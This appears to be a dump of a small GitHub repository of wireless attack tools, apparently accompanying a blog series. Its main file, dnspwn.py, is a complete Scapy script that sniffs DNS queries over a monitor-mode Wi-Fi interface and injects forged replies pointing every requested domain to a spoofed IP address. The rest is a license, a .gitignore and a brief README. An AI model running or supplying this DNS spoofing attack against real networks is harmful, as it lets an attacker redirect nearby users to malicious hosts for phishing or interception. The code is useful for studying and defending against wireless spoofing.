├── .gitignore ├── LICENSE ├── README.md └── dnspwn.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.py[cod] 2 | 3 | # C extensions 4 | *.so 5 | 6 | # Packages 7 | *.egg 8 | *.egg-info 9 | dist 10 | build 11 | eggs 12 | parts 13 | bin 14 | var 15 | sdist 16 | develop-eggs 17 | .installed.cfg 18 | lib 19 | lib64 20 | __pycache__ 21 | 22 | # Installer logs 23 | pip-log.txt 24 | 25 | # Unit test / coverage reports 26 | .coverage 27 | .tox 28 | nosetests.xml 29 | 30 | # Translations 31 | *.mo 32 | 33 | # Mr Developer 34 | .mr.developer.cfg 35 | .project 36 | .pydevproject 37 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | The MIT License (MIT) 2 | 3 | Copyright (c) 2013 Jordan Wright 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy of 6 | this software and associated documentation files (the "Software"), to deal in 7 | the Software without restriction, including without limitation the rights to 8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of 9 | the Software, and to permit persons to whom the Software is furnished to do so, 10 | subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS 17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR 18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN 20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 21 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | python-wireless-attacks 2 | ======================= 3 | 4 | Wireless Attacks in Python (Based on blog series) 5 | 6 | This repository will hold the source code for projects described on my [blog](http://jordan-wright.github.io/blog). -------------------------------------------------------------------------------- /dnspwn.py: -------------------------------------------------------------------------------- 1 | from scapy.all import * 2 | import time 3 | import logging 4 | 5 | logger = logging.getLogger('main') 6 | logging.basicConfig(format='%(levelname)s: %(message)s', level=logging.DEBUG) 7 | logger.setLevel(logging.DEBUG) 8 | # Set the interface for scapy to use 9 | conf.iface = 'mon0' 10 | # Set the spoofed response 11 | spoofed_ip = 'x.x.x.x' 12 | 13 | def send_response(x): 14 | req_domain = x[DNS].qd.qname 15 | logger.info('Found request for ' + req_domain) 16 | # First, we delete the existing lengths and checksums.. 17 | # We will let Scapy re-create them 18 | del(x[UDP].len) 19 | del(x[UDP].chksum) 20 | del(x[IP].len) 21 | del(x[IP].chksum) 22 | # Let's build our response from a copy of the original packet 23 | response = x.copy() 24 | # Let's work our way up the layers! 25 | # We need to start by changing our response to be "from-ds", or from the access point. 26 | response.FCfield = 2L 27 | # Switch the MAC addresses 28 | response.addr1, response.addr2 = x.addr2, x.addr1 29 | # Switch the IP addresses 30 | response.src, response.dst = x.dst, x.src 31 | # Switch the ports 32 | response.sport, response.dport = x.dport, x.sport 33 | # Set the DNS flags 34 | response[DNS].qr = 1L 35 | response[DNS].ra = 1L 36 | response[DNS].ancount = 1 37 | # Let's add on the answer section 38 | response[DNS].an = DNSRR( 39 | rrname = req_domain, 40 | type = 'A', 41 | rclass = 'IN', 42 | ttl = 900, 43 | rdata = spoofed_ip 44 | ) 45 | # Now, we inject the response! 46 | sendp(response) 47 | logger.info('Sent response: ' + req_domain + ' -> ' + spoofed_ip + '\n') 48 | 49 | def main(): 50 | logger.info('Starting to intercept [CTRL+C to stop]') 51 | sniff(prn=lambda x: send_response(x), lfilter=lambda x:x.haslayer(UDP) and x.dport == 53) 52 | 53 | if __name__ == "__main__": 54 | # Make it happen! 55 | main() --------------------------------------------------------------------------------